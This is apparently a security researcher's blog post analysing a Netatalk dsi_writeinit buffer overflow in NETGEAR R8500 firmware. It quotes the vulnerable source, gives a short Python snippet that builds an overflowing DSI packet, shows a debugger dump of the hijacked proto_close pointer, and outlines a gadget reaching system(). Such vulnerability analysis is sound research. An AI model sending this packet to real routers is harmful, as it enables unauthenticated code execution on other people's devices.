Analyzing an Old Netatalk dsi_writeinit Buffer Overflow Vulnerability in NETGEAR Router

cq674350529
8 min readFeb 9, 2023

--

Preface

In November 2022, SSD released a security advisory related to the NETGEAR R7800 router. According to the advisory, the vulnerability existed in the Netatalk component (the corresponding service binary is “afpd”). Due to lack of proper validation on certain fields when handling received DSI packets, a buffer overflow would occur when calling memcpy() in dsi_writeinit(). By leveraging this vulnerability, an attacker can achieve arbitrary code execution on the target device without authentication. The advisory contains details and exploitation ideas, but the provided poc script only implements control flow hijacking and lacks the code execution part. In this blog post, we will give a simple analysis to the vulnerability based on the R8500 model device, as well as a concrete exploitation method.

Vulnerability Analysis

Netatalk has been widely used in many NAS devices and SOHO routers, and attracted the attention of many security researchers in recent years. Multiple high-risk vulnerabilities have been discovered inside it. For example, several manufacturer’s devices have been hacked in recent Pwn2Own contests due to the use of this component, and some of NETGEAR’s router devices are no exception.

Many NETGEAR routers use an outdated version of the Netatalk component.

The target device mentioned in the security advisory is the R7800 V1.0.2.90 version, while I have an R8500 model device on hand. As to R8500 model, the Netatalk component was removed in version V1.0.2.160, so the version V1.0.2.154 will be used for our analysis. From the NETGEAR manufacturer’s GPL page, we can download the source code of the corresponding device, which includes the source code of the Netatalk component, thus making analysis easier. Taking the R8500 V1.0.2.154 version as an example, its Netatalk component version is 2.2.5, which was released in 2013. Indeed a very old version.

The AFP protocol is built on the Data Stream Interface (DSI), which is a session layer that carries AFP protocol traffic on the TCP layer. When accessing to the service in normal cases, the general protocol interaction flow is as follows.

After the DSIOpenSession request is successfully executed, subsequent DSICommand requests will be sent. Function afp_over_dsi() is responsible for handling these DSICommand requests. Part of code snippets are as follows. In general, the program will read the corresponding request packet at (1), then perform different processing routine based on the value of cmd at (2).

void afp_over_dsi(AFPObj *obj)
{
/* ... */
/* get stuck here until the end */
while (1) {
/* Blocking read on the network socket */
cmd = dsi_stream_receive(dsi); // (1)
/* ... */
switch(cmd) { // (2)
case DSIFUNC_CLOSE:
/* ...*/
case DSIFUNC_TICKLE:
/* ... */
case DSIFUNC_CMD:
/* ... */
case DSIFUNC_WRITE:
/* ... */
case DSIFUNC_ATTN:
/* ... */
default:
LOG(log_info, logtype_afpd,"afp_dsi: spurious command %d", cmd);
dsi_writeinit(dsi, dsi->data, DSI_DATASIZ); // (3)
/* ... */

The following is a partial code of the function dsi_stream_receive(). Inside it, it will read data from the request packet, then save it into dsi->header and dsi->commands.

int dsi_stream_receive(DSI *dsi)
{
/* ... */
/* read in the header */
if (dsi_buffered_stream_read(dsi, (u_int8_t *)block, sizeof(block)) != sizeof(block))
return 0;

dsi->header.dsi_flags = block[0];
dsi->header.dsi_command = block[1];
/* ... */
memcpy(&dsi->header.dsi_requestID, block + 2, sizeof(dsi->header.dsi_requestID));
memcpy(&dsi->header.dsi_code, block + 4, sizeof(dsi->header.dsi_code));
memcpy(&dsi->header.dsi_len, block + 8, sizeof(dsi->header.dsi_len));
memcpy(&dsi->header.dsi_reserved, block + 12, sizeof(dsi->header.dsi_reserved));
dsi->clientID = ntohs(dsi->header.dsi_requestID);

/* make sure we don't over-write our buffers. */
dsi->cmdlen = min(ntohl(dsi->header.dsi_len), DSI_CMDSIZ);
if (dsi_stream_read(dsi, dsi->commands, dsi->cmdlen) != dsi->cmdlen)
return 0;
/* ... */

In afp_over_dsi(), if the value of cmd doesn't meet the case statement, the routine will go to the default branch, then dsi_writeinit() will be called at (3). Inside it, it will calculate dsi->datasize based on the fields dsi->header.dsi_code and dsi->header.dsi_len, and if the if condition is met, memcpy() will be called at (4), where the third len parameter is related to sizeof(dsi->commands) - header and dsi->datasize.

size_t dsi_writeinit(DSI *dsi, void *buf, const size_t buflen _U_)
{
size_t len, header;

/* figure out how much data we have. do a couple checks for 0
* data */
header = ntohl(dsi->header.dsi_code);
dsi->datasize = header ? ntohl(dsi->header.dsi_len) - header : 0;
if (dsi->datasize > 0) {
len = MIN(sizeof(dsi->commands) - header, dsi->datasize);
/* write last part of command buffer into buf */
memcpy(buf, dsi->commands + header, len); // (4) buffer overflow
/* .. */

According to dsi_stream_receive(), the value of fields dsi->header.dsi_code and dsi->header.dsi_len comes from the received packet, and the content of dsi->commands also comes from the received packet. That is, when calling memcpy(), both the content in src buffer and the length parameter are user-controllable. However, the size of the dest buffer buf (dsi->data), is fixed. Therefore, by crafting a request packet like the following, it's possible to cause buffer overflow when calling memcpy().

def create_block(command, dsi_code, dsi_len):
block = b'\x00' # dsi->header.dsi_flags
block += struct.pack("<B", command) # dsi->header.dsi_command
block += b'\x00\x00' # dsi->header.dsi_requestID
block += struct.pack(">I", dsi_code) # dsi->header.dsi_code
block += struct.pack(">I", dsi_len) # dsi->header.dsi_len
block += b'\x00\x00\x00\x00' # dsi->header.dsi_reserved
return block

pkt = create_block(0xFF, 0xFFFFFFFF - 0x50, 0x2001 + 0x20)
pkt += b'A' * 8192

Vulnerability Exploitation

The definition of the DSI structure is as follows. As we can see, the size of dsi->data is 8192, and after overflow, the subsequent fields will also be overwritten, including these two function pointers proto_open and proto_close. Therefore, if one of pointers will be used later, then we can hijack the control flow.

#define DSI_CMDSIZ        8192 
#define DSI_DATASIZ 8192

typedef struct DSI {
/* ... */

u_int32_t attn_quantum, datasize, server_quantum;
u_int16_t serverID, clientID;
char *status;
u_int8_t commands[DSI_CMDSIZ], data[DSI_DATASIZ];
size_t statuslen;
size_t datalen, cmdlen;
off_t read_count, write_count;
uint32_t flags; /* DSI flags like DSI_SLEEPING, DSI_DISCONNECTED */
const char *program;
int socket, serversock;

/* protocol specific open/close, send/receive
* send/receive fill in the header and use dsi->commands.
* write/read just write/read data */
pid_t (*proto_open)(struct DSI *);
void (*proto_close)(struct DSI *);
/* ... */
} DSI;

In function afp_over_dsi(), dsi_stream_receive() is called to read incoming request packets in a while loop. If there are no more packets available, zero will be returned. Then based on the dsi->flags, afp_dsi_close() or dsi_disconnect() will be called, and both functions will execute dsi->proto_close(dsi) ultimately. This is, function pointer dsi->proto_close is indeed used in subsequent routine. As a result, we can achieve control flow hijacking by modifying this function pointer.

void afp_over_dsi(AFPObj *obj)
{
/* ... */
/* get stuck here until the end */
while (1) {
/* Blocking read on the network socket */
cmd = dsi_stream_receive(dsi); // (1)
if (cmd == 0) {
/* the client sometimes logs out (afp_logout) but doesn't close the DSI session */
if (dsi->flags & DSI_AFP_LOGGED_OUT) {
LOG(log_note, logtype_afpd, "afp_over_dsi: client logged out, terminating DSI session");
afp_dsi_close(obj);
exit(0);
}
if (dsi->flags & DSI_RECONINPROG) {
LOG(log_note, logtype_afpd, "afp_over_dsi: failed reconnect");
afp_dsi_close(obj);
exit(0);
}
if (dsi->flags & DSI_RECONINPROG) {
LOG(log_note, logtype_afpd, "afp_over_dsi: failed reconnect");
afp_dsi_close(obj);
exit(0);
}
/* Some error on the client connection, enter disconnected state */
if (dsi_disconnect(dsi) != 0)
afp_dsi_die(EXITERR_CLNT);
}
/* ... */

void dsi_close(DSI *dsi)
{
/* server generated. need to set all the fields. */
if (!(dsi->flags & DSI_SLEEPING) && !(dsi->flags & DSI_DISCONNECTED)) {
dsi->header.dsi_flags = DSIFL_REQUEST;
dsi->header.dsi_command = DSIFUNC_CLOSE;
dsi->header.dsi_requestID = htons(dsi_serverID(dsi));
dsi->header.dsi_code = dsi->header.dsi_reserved = htonl(0);
dsi->cmdlen = 0;
dsi_send(dsi);
dsi->proto_close(dsi); // hijack control flow
/* ... */

Based on the above crafted request packet, the corresponding context is as follows when hijacking the control flow. As we can see, R3 register has been overwritten, R4 and R5 registers are controllable, and R0 and R2 registers point to the DSI structure.

──────────────────────────────────────────────────────────────────────────────────── code:arm:ARM ────
0x6a2cc <dsi_close+272> movw r3, #16764 ; 0x417c
0x6a2d0 <dsi_close+276> ldr r3, [r2, r3]
0x6a2d4 <dsi_close+280> ldr r0, [r11, #-8] ; r0: points to dsi
●→ 0x6a2d8 <dsi_close+284> blx r3
0x6a2dc <dsi_close+288> ldr r0, [r11, #-8]
0x6a2e0 <dsi_close+292> bl 0x112c4 <free@plt>
0x6a2e4 <dsi_close+296> sub sp, r11, #4
0x6a2e8 <dsi_close+300> pop {r11, pc}
───────────────────────────────────────────────────────────────────────────── arguments (guessed) ────
*0x61616161 (
$r0 = 0x0e8498 → 0x0e1408 → 0x00000002,
$r1 = 0x000001,
$r2 = 0x0e8498 → 0x0e1408 → 0x00000002,
$r3 = 0x61616161
)
─────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x6a2d8 → dsi_close()
[#1] 0x1225c → afp_dsi_close()
[#2] 0x13994 → afp_over_dsi()
[#3] 0x116c8 → dsi_start()
[#4] 0x3f5f8 → main()
──────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤ i r
r0 0xe8498 0xe8498
r1 0x1 0x1
r2 0xe8498 0xe8498
r3 0x61616161 0x61616161
r4 0x58585858 0x58585858
r5 0x43385858 0x43385858
r6 0x7 0x7
r7 0xbec72f65 0xbec72f65
r8 0x10a3c 0x10a3c
r9 0x3e988 0x3e988
r10 0xbec72df8 0xbec72df8
r11 0xbec72c3c 0xbec72c3c
r12 0x401e0edc 0x401e0edc
sp 0xbec72c30 0xbec72c30
lr 0x6fffc 0x6fffc
pc 0x6a2d8 0x6a2d8 <dsi_close+284>

The mitigation mechanism enabled on afpd is as follows, and the ASLR level on the device is 1. The DSI structure is allocated on the heap, so the received request packets are all on the heap. Based on this context, we need to find appropriate gadgets complete the exploitation.

cq@ubuntu:~$ checksec --file ./afpd
Arch: arm-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8000)

By analyzing the afpd program, a workable gadget was finally found as follows. Specifically, the value in [R11-0x8] points to the DSI structure, and the effect of this gadget is equivalent to [dsi] = [dsi + 0x2834]; func_ptr = [dsi + 0x2830]; func_ptr([dsi]). Since the address of the DSI structure is fixed, and the contents at offset 0x2834 are controllable, we can achieve code execution via system(arbitrary_cmd) finally.

The concrete context may differ on different route model, so the exploitation may be easier or more complicated.

A demo is as follows.

Summary

In this blog post, based on the R8500 router model, we analyze a buffer overflow vulnerability in the Netatalk component. Due to lack of proper validation on certain fields in the received DSI data packet, a buffer overflow will occur when calling memcpy() in dsi_writeinit(). By overwriting the proto_close function pointer in the DSI structure, we can hijack the control flow, and achieve code execution according to the concrete vulnerability context.

References

--

--